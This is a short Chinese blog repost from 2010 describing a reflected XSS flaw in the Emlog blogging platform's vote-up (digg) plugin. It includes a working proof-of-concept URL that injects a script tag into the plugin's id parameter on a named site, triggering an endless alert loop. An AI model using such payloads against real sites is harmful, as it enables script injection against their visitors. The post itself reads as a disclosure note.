Emlog 顶贴插件XSS

2010-6-8 王健宇 转载

从朋友的博客转载。以下是原文：

http://www.1earn.net//content/plugins/digg/digg_view.php?id='"><script>{while(true)alert("ByX.DW@QQgroup:6898874")}</script>

无聊自己黑自己的blog，很快就搞下了。。悲剧。
发现一个xss，然后对其他emlog看了下，发现是那个顶贴插件关系。
emlog 顶贴插件xss

« nobody 兔斯基(清晰版) | 为什么要这样？»

发表评论：

Powered by emlog sitemap